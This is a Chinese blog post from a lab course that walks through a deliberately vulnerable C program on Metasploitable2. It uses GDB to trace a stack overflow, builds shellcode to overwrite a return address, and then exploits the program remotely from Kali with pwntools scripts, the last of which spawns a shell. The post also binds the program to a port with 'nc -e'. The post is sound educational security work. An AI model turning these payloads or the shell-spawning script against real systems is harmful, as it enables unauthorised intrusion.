调用博主最近登录时间
生活中的HYGGE
使用GDB调试本地栈溢出漏洞获得Root权限

使用GDB调试本地栈溢出漏洞获得Root权限

hygge
2023-10-14 / 0 评论 / 227 阅读 / 正在检测是否收录...

攻防目标

基于网络安全攻防实验环境,在Metasploitable2-Linux编译有漏洞的C语言程序,使用GDB进行动态调试,理解栈溢出本地漏洞的原理。使用pwntools构造远程漏洞,并使用kali进行攻击,理解远程漏洞原理。

靶机和攻击机环境

  • 靶机系统 :Linux metasploitable 2.6.24-16-server
  • 攻击机: Linux kali 6.3.0-kali1-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.3.7-1kali1 (2023-06-29) x86_64 GNU/Linux

task1: 在Metasploitable2-Linux编辑编译有漏洞的C语言源程序

1.1 使用终端工具连接Linux,编辑overflow.c源程序

#include <stdio.h>
#include <string.h>
int f() {
        char buf[32];
        system("echo input");
        return read(0,buf,100);
}
int main(int argc, char *argv[]){
     f();
     system("echo helloworld");
     return 0;
}

函数f中故意制造栈溢出漏洞

1.2 使用GCC编译源程序并执行

a) #echo 0 > /proc/sys/kernel/randomize_va_space 禁止地址随机化功能

b) #ulimit -c unlimited 让系统在错误时产生core文件

c) #gcc -Wall -g -fno-stack-protector -o overflow overflow.c -m32 -Wl,-zexecstack 编译源程序

lnpsn3x0.png

d) # ./overflow 执行程序分别输入32个a,35个a,36个a,37个a

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

lnpsn9eo.png

task2: 使用gdb反汇编调试有漏洞的C语言源程序

  1. gdb ./overflow core查看coredump文件,查看寄存器

lnpsnf9e.png

  1. 使用gdb反汇编overflow程序

    • gdb ./overflow 打开程序
    • (gdb) set disassembly-flavor intel //设置反汇编格式为intel
    • (gdb) disassemble main //反汇编main函数

lnpsnkrr.png

  • (gdb) disassemble f //反汇编f()函数

lnpsnpl3.png

  1. 使用gdb跟踪调试程序

    • (gdb) start //启动程序
    • 查看寄存器和内存

lnpsnu77.png

  • step执行一行源代码进入f()函数内部
  • next执行一行源代码不进入system("echo input")函数
  • next执行一行源代码不进入return read(0,buf,100)函数
  • 输入aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc
  • next执行一行源代码,查看寄存器和内存,

lnpsnz3j.png

2.1 任务二分析

首先在main函数执行中查看寄存器:

lnpso3t5.png

此时main函数对应的栈顶指针和基址指针如下:

寄存器
esp0xbffff880
ebp0xbffff888
eip0x80483e4

单步进入f()函数内部,再次查看寄存器变化

汇编中调用call指令,会将当前的ebp值入栈,将esp赋值给ebp(原先的栈顶变成栈底),然后将eip入栈

lnpso8h1.png

寄存器
esp0xbffff840
ebp0xbffff878
eip0x80483aa

继续next执行

lnpsod38.png

当读入一个长度大于32位的字符串, buf变量无法读取,此时查看内存区域

使用命令:(gdb)x/32x 0xbffff840

lnpsogyw.png

61为a的ascii码,当读完所有的a后,读b和c对应的ascii码分别为62和63

此时存储b和c的内存单元分别为 函数的堆栈帧的基地址 和 当前函数执行完毕的返回地址

图上可以发现这两处内存单元已经被篡改,继续单步执行,查看寄存器

lnpsol1c.png

task3:构造shellcode攻击本地漏洞

3.1 编辑汇编语言shell.asm输出字符串HACK

BITS 32
start:
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
mov bl,1
add esp,string - start
mov ecx,esp
mov dl,5
mov al,4
int 0x80
mov al,1
mov bl,1
dec bl
int 0x80
string:
db "HACK",0xa

3.2 下载编译安装汇编语言工具(配置、编译、安装)

https://launchpadlibrarian.net/18093887/nasm_0.99.06.orig.tar.gz

3.3 #nasm -o shell shell.asm汇编源程序

3.4 #ndisasm shell反汇编获得机器码

lnpsoq9y.png

3.5、构造shellcode提交给漏洞程序执行

perl -e 'printf "a"x32 . "b"x4 . "c"x4 . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflow
利用栈溢出 更改程序f函数的返回地址 输出 "Hack" 的效果

6、#gdb ./overflow core 查看之前记录的f()函数对应的寄存器和内存

lnpsowrc.png

此时0x63636363就是f()函数的返回地址

只需要把这里的内容改为要跳转的恶意程序地址即可

7、构造shellcode提交给漏洞程序执行

perl -e 'printf "a"x32 . "b"x4 . "\xa0\xf8\xff\xbf" . "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a"' | ./overflow

lnpsp2uy.png

task4:使用pwntools攻击远程漏洞

1、在kali远程攻击Metasploitable2-Linux

a)在Metasploitable2-Linux监听123端口并绑定溢出程序

root@metasploitable:~# nc -l -v -p 123 -e ./overflow

b)在kali使用nc连接Metasploitable2 -Linux的123端口并发送shellcode

(root㉿kali)-[~]
nc 192.168.91.202 123

lnpsp7fu.png

2、在kali安装使用pwntools攻击Metasploitable2-Linux

a)#wget https://bootstrap.pypa.io/get-pip.py

b)#python3 get-pip.py

c)#pip3 install pwntools

d)在kali编辑exploit攻击脚本exp.py

from pwn import * 
p = remote('192.168.91.202','123') 
stackaddr = 0xbffff8a0 
shellcode=b'\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb3\x01\x83\xc4\x1d\x89\xe1\xb2\x05\xb0\x04\xcd\x80\xb0\x01\xb3\x01\xfe\xcb\xcd\x80\x48\x41\x43\x4b\x0a' 
payload = b'a' * 36 + p32(stackaddr) + shellcode 
p.send(payload) 
p.interactive()

e)在Metasploitable2-Linux监听123端口并绑定溢出程序

lnpspdsm.png

f)#python3 exp.py在kali执行exploit攻击脚本

lnpspils.png

3、使用pwntools获得shell

a)在kali编辑exploit攻击脚本exp.py

from pwn import *
p = remote('192.168.91.202','123')
stackaddr = 0xbffff8a0
shellcode = asm(shellcraft.linux.sh(),arch='i386')
payload = b'a' * 36 + p32(stackaddr) + shellcode
p.send(payload)
p.interactive()

b)在Metasploitable2-Linux监听123端口并绑定溢出程序

c)#python3 exp.py在kali执行exploit攻击脚本

lnpspng5.png

0

评论 (0)

取消